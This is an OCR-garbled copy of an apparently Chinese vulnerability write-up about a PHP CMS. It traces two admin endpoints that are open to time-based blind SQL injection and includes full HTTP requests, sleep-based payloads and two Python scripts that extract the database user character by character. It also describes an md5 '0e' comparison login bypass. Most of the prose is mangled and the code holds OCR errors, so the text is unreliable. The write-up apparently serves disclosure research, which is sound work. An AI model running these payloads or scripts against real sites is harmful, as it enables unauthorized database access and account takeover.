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SQL EAN

CMS MIREMIT T, ZAEMNINEIRERE app, BEIEM app BE FTHIXHFAE.

1E304 app\system\user\admin\parameter.class.php T#J doDelParas BR#{, FTHEA id #HEHRL T delete_para_value 5
%, BREIZAE.

doDelParas()

_3ﬂel_bv_lﬂi

->delete_para_value(



https://xzfile.aliyuncs.com/media/upload/picture/20211222105758-f7b7dc46-62d2-1.png

-=module

(https://xzfile.aliyuncs.com/media/upload/picture/20211222105758-f7b7dc46-62d2-1.png)

EX14 app/system/parameter/include/class/parameter_database.class.php B delete_para_value RREFIIABENUEANL] id
WEIEPHES sql 1B, MHEEIREHE DB::query($query),

(https://xzfile.aliyuncs.com/media/upload/picture/20211222110442-e8b3fb16-62d3-1.png)
=X 14 app/system/include/class/mysql.class.php B query EX T, sql iIEQHIEHELA T self:$link—>query /3%, EHTE
$link ATABEIEZE mysqli WRT,



https://xzfile.aliyuncs.com/media/upload/picture/20211222105758-f7b7dc46-62d2-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20211222110442-e8b3fb16-62d3-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20211222110635-2c1a8c3a-62d4-1.png

-=query(

(https://xzfile.aliyuncs.com/media/upload/picture/20211222110841-7768797¢c-62d4-1.png)
{$/ burpsute HITEARE, TEFEEERNR, payload:

POST /admin/?n=user&c=parameter&a=doDelParas HTTP/1.1

Host: cms.cn

Content-Length: 60

Pragma: no-cache

Cache-Control: no-cache

Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://cms.cn

Referer: http://cms.cn/admin/

Connection: close
Cookie: met_auth=30ac30fgvWFY3ebfOWgl9SOLFFBIEWLZoW1066q%2BAr%2FICD%2Fnti7wlX15n%2BjRmMGRQOhWO6eLPsy%2BtIrVwAPyek9gY48B
4; met_key=KQicil7;

id[]=164+and+if((select substr(version(),1,1))>0,sleep(1),?)


https://xzfile.aliyuncs.com/media/upload/picture/20211222110635-2c1a8c3a-62d4-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20211222110841-7768797c-62d4-1.png

MIRERWT, RMINARETRENG/REEEN 2 %, id 164 2HAIRIAFEN,

Pretty IGEITE Hex \n = Raw Hex Render \n =
1 HITP/1.1 200 OK
2 Host: cms.en 2 Date: Wed, 22 Dec 2021 03:19:45 GMT
% Content-Length: &0 3 Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log rotate/1.02
4 Pragma: no-cache 4 ¥-Powered-By: PHP/7.2.9
5 Connection: close

5 Cache—Control: no-cache
G Content-Type: application/z—www—-form-urlencoded; charset=UTF-§ G Content-Type: application/json: charset=utf-3
7 Content-Length: 45

7 Origin: http://ems. cn
% Referer: http://cms. cn/adwin/
9 Comnection: close
10 Cookie: met_auth=
30ac30fgvTFY3ebf 9Wgl 9S6LFFEIEwLZoW1066q%2EArh2F9CD%2Fnt 1 TwlX15n%2E jRnGRO(hWO6eLP s 2Bt IrVwAPy “status”: 1
ek9gV48B4; met_key=EQicilT; }
11
12 id[]1=164+and+if ( (select substriversien(),1,1))>0,sleepil}, 0)

1 POST /admin/?n=user&c=parameter&a=doDelParas HITP/1.1

HOLD3dSNI

94

"msg”: "ubded\udf5e\u62104u529£",

@I‘{g}l ‘E”EH Search... 0 matches @I{g}l |E||§|| Search... _J 0 matches

295 bytes | 2,068 millis

Done

(https://xzfile.aliyuncs.com/media/upload/picture/20211222112242-6¢7d3032-62d6-1.png)

‘"5 python MIABERF &

import requests

url = "http://cms.cn/admin/?n=user&c=parameter&a=doDelParas"

headers = {"Cookie": "met_auth=30ac30fgviWFY3ebfONgl9S6LFFBIEWLZoW1066q%2BAr%2F9CD%2Fnti7wlX15n%2BjRmMGRQONhWOGeLPsy%2BtIr

VwAPyek9gY48B4; met_key=KQiciI7;",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}

proxies = {"http": None}


https://xzfile.aliyuncs.com/media/upload/picture/20211222112242-6c7d3032-62d6-1.png

req = requests.session()
result = "'
for mid in range(15):
for i in range(30, 150):
data "id[]=164+and+if((select ascii(substr(user(),%d,1)))=%d,sleep(1),®)" % (mid, i)
resp = req.post(url, data=data, headers=headers, proxies=proxies)

if resp.elapsed.total_seconds() > 1.5:

result += chr(i)
print(result)

main

1shed with exit code @

(https://xzfile.aliyuncs.com/media/upload/picture/20211222113746-8713a8a2-62d8-1.png)


https://xzfile.aliyuncs.com/media/upload/picture/20211222113746-8713a8a2-62d8-1.png

SQL EA

EXH app\system\parameter\admin\parameter_admin.class.php 89 doparasave K iR table_para 7%, table_para
FERRTRTRESE, $_Mlform’] HMKKRBMFIBREYX, $_M[form’][‘module’] 1ZFIFRER module S,

(https://xzfile.aliyuncs.com/media/upload/picture/20211222145258-cc3df8b8-62f3-1.png)
7f table_para E#, TEMERPENABEEIREEEANE] update_para_list 5§ insert_para_list 755%, XI5 EERR] AL A
sql JEN, XEBHIEIFEH insert_para_list k%,


https://xzfile.aliyuncs.com/media/upload/picture/20211222145258-cc3df8b8-62f3-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20211222145705-5f30e48c-62f4-1.png

table_para(

(https://xzfile.aliyuncs.com/media/upload/picture/20211222145705-5f30e48¢c-62f4—-1.png)
IR#Z insert_para_list 57%, $field[‘options’] BIEIBEHZE R json &=, $options HI—NMEEEZEUAH, {F foreach ZfF


https://xzfile.aliyuncs.com/media/upload/picture/20211222145705-5f30e48c-62f4-1.png

$option 2EH, FAF $module FIEIBIMIKIELZ Soption[‘module’],

(https://xzfile.aliyuncs.com/media/upload/picture/20211222150057-e9e63cee—-62f4—1.png)
# N app\system\parameter\include\class\parameter_database.class.php X add_para_value /3%, BIIAEZ!


https://xzfile.aliyuncs.com/media/upload/picture/20211222150057-e9e63cee-62f4-1.png

$option[‘module’] #HEEHHIEER sql IBOHBREFERRS|S, XEMSHT sal JEFA,

(https://xzfile.aliyuncs.com/media/upload/picture/20211222150452-75d19adc-62f5-1.png)
FH—TRE, HNBEME $_M[form’] REILFAREIEEEBUTRE

doparasave —> table_para —> insert_para_list —> add_para_value

i $_M[form’][‘module’] FREMHE sql B4,

{EF burpsute FHITEFAK T, TEZEEEANPR, payload:

POST /admin/?n=parameter&c=parameter_admin&a=doparasave HTTP/1.1
Host: cms.cn

Content-Length: 126

Pragma: no-cache

Cache-Control: no-cache

Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://cms.cn

Referer: http://cms.cn/admin/

Connection: close

Cookie: met_auth=30ac30fgvWFY3ebfOWgl9S6LFFBIEWLZoW10660%2BAr%2FOCD%2Fnti7wlX15n%2BjRmGRQOhWO6eLPsy%2BtIrVwAPyek9gY48B
4; met_key=KQicil7;

allid=a&submit_type=save&type-a=6&options-a={"0":{"0":"0"}}&module=-1 or if((select ascii(midCuser(),1,1)))>1,sleep(0.0
3),0)

MRERWT, RINALETRENGREEENERS 11,


https://xzfile.aliyuncs.com/media/upload/picture/20211222150452-75d19adc-62f5-1.png

Pretty lGEWTN Hex \n = Raw Hex Render W =

HITP/1.1 200 OK

Date: Wed. 22 Dec 2021 07:11:00 GMT

Server: Apache/2.4.39 (WinG4) OpenSSL/1.1.1b mod_fegid/Z2. 3. 9a mod_log_rotate/1.02
Y-Powered-By: FHP/7.2.9

Cache—Control: no-cache Connection: close

Content-Type: application/z—www—form-urlencoded: charset=UTF-8 Content-Type: application/json: charset=utf-3

Origin: http://cms. en 7 Content-Length 422

POST fadmin/?n=parameter&c=parameter_adminka=doparasave HITP/1.1
Host: cms.en

Content-Length: 124

Pragma: no-cache

HOLD3dSNI

=1 o Ul W k)
I R

g Referer: http://cms. en/admin/ 8
9 Connection: close 9 array(11){

10 Cookie: met_auth= 10 [
30ac30fgvFY3ebf9Wg19S6LFFEIEw1ZoW1066%2BAr%2F 9CD%2Fnt 1 TwlX15n%2E jRnGRQOhWOGeLP “no_order”
sy%2BtIrVwAPyelk9gY48E4 ;. met_key=EQicilT; I=»

11 11 int (0)

17 allid=aksubmit_type=savektype-a=6Loptions—a={"0": {"0": "0"}}&module=-1 or 12 [
if ((select ascii(mid(useri),1,1)))>1, sleep(0.03),0) “name”

1=>
13 NOLL
14 [
“type”
1=>
5 string(1)76"
16 [
“wr_oks"
1=>

QB €3] 5o omaes (DG €[] [z ] o

Done 673 bytes | 964 millis

(https://xzfile.aliyuncs.com/media/upload/picture/20211222151151-6fc608b6-62f6-1.png)
python FIZs:


https://xzfile.aliyuncs.com/media/upload/picture/20211222151151-6fc608b6-62f6-1.png

import requests

url = "http://cms.cn/admin/?n=parameter&c=parameter_admin&a=doparasave"
headers = {"Cookie": "met_auth=30ac30fgvWFY3ebfIWglOS6LFFBIEWLZoW10669%2BAr%2FICD%2Fnti7wlX15n%2BjRmMGRQOhW0O6eLPsy%2BtIr
VwAPyek9gY48B4; met_key=KQiciI7;",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}
proxies = {"http": None}
req = requests.session()

result = "'
for mid in range(15):
for i in range(30, 150):
data = "allid=a&submit_type=save&type-a=6&options-a={\"0O\":{\"O\":\"0O\"}}&module=-1 or if((select ascii(mid(use
r),%d,1)))=%d,sleep(0.03),1)" % (mid, i)
resp = req.post(url, data=data, headers=headers, proxies=proxies)
if resp.elapsed.total_seconds() > 0.8:

result += chr(i)
print(result)

md5 55 RILEER

A& app/system/user/web/login.class.php B dologin BT, $this—>login &I T REHY username 5 password,
BRIFIZTTE


https://xzfile.aliyuncs.com/media/upload/picture/20211222154356-eac120e2-62fa-1.png

(https://xzfile.aliyuncs.com/media/upload/picture/20211222154356-eac120e2-62fa-1.png)
£ login RE P LEIRH R $this—>userclass—>login_by_password 5%,

(https://xzfile.aliyuncs.com/media/upload/picture/20211222154419-f86863d6—-62fa—1.png)

EX 14 app/system/include/class/user.class.php # login_by_password FRE{F Suser M7iE Sthis-
>get_user_by_username($username); 3REX T BIBREE WS AEIE. FREH password ##17 7 mds &, RES
$user]‘password’] #HT TR, BTFERATRTETS, FRbAEE mdb 5EBERIRE. (28] otf AN IZERANE)



https://xzfile.aliyuncs.com/media/upload/picture/20211222154356-eac120e2-62fa-1.png
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(https://xzfile.aliyuncs.com/media/upload/picture/20211222154507-1513c656-62fb-1.png)
NENEEEE
BITEM—1IKS abab, ZiBiZEN md5 MEEHN Oe FLHFRIE,

SR

(https://xzfile.aliyuncs.com/media/upload/picture/20211222154604-36f9b41a-62fb—1.png)
EXIER md5 INEEHN Oe FFKFRFERENT],



https://xzfile.aliyuncs.com/media/upload/picture/20211222154507-1513c656-62fb-1.png
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4

(https://xzfile.aliyuncs.com/media/upload/picture/20211222154628-45992dfc-62fb—1.png)
t ~
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MR AR Z2EENFE, BIaNERE, MITXLERFE CNVD &2WERT,
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